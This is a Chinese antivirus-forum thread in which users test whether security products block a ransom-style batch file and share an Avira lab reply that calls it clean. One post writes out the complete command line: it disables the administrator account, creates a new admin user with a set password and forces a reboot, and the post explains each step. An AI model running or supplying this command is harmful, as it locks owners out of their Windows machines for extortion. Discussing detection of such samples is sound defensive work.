敲竹杠的成本好低啊 一个批处理 搞定 发这个主要看看各大杀毒主防能不能拦截创建用户

化石MM

这种东西只要用户名不是admin就可以，用来对付ghost系统的，msdn和正版操作系统根本就是没用

UDady

PF成功拦截

hez2010

1. net user administrator /active:no & net user QQ892807340 1991 /add & net localgroup administrators QQ892807340 /add & shutdown -r -t 0

复制代码

分解：
net user administrator /active:no  ----设置超级管理员用户不可见
net user QQ892807340 1991 /add ----创建一个名为“QQ892807340”的用户
net localgroup administrators QQ892807340 /add  ----设置“QQ892807340”为管理员账户
shutdown -r -t 0 ----延时0秒关机

xdjasd110

wqcaokeyinwq 发表于 2014-3-8 19:40
过微点扫描

是个批处理文件吗？那微点不拦截啊 ？

2314805817

瑞星到现在都还没入库

小柯安全

2314805817 发表于 2014-3-12 17:13
瑞星到现在都还没入库

批处理怎么入库 一般只能靠主防拦截

wqcaokeyinwq

xdjasd110 发表于 2014-3-10 18:40
是个批处理文件吗？那微点不拦截啊 ？

不是所有的批处理微点都能拦截，同样不是所有的批处理微点都不拦截。。你懂得！

墨家小子

UDady 发表于 2014-3-9 14:14
PF成功拦截

那里看到拦截了？

2314805817

小柯安全 发表于 2014-3-12 20:24
批处理怎么入库 一般只能靠主防拦截

云拉黑

s22962000

Dear Sir or Madam,

Thank you for your email to Avira's virus lab.
Tracking number: INC01635914.

A listing of files alongside their results can be found below:
File ID        Filename        Size (Byte)        Result
28050111        %E7%82%B9%E5%87%B...BA.bat        134 Byte        CLEAN

Please find a detailed report concerning each individual sample below:
Filename        Result
%E7%82%B9%E5%87%B...BA.bat        CLEAN

The file '%E7%82%B9%E5%87%BB%E5%90%AF%E5%8A%A8%E6%9C%BA%E5%99%A8%E4%BA%BA.bat' has been determined to be 'CLEAN'. Our analysts did not discover any malicious content.

Alternatively you can see the analysis result here:
http://analysis.avira.com/sample ... ;incidentid=1635914

An overview of all your submissions can be found here:
http://analysis.avira.com/sample ... btkXf8LqVtJJmxbrBhs

Please note: If you have specific questions, please visit our website http://www.avira.com/en/support for further details.

Kind regards
Avira Virus Lab

---------------------------------------------
Avira Operations GmbH & Co. KG
Kaplaneiweg 1, 88069 Tettnang, Germany
Phone: +49 (0) 7542-500 0
Fax: +49 (0) 7542-500 3000
Internet: http://www.avira.com
========================================
上報紅傘  竟然說安全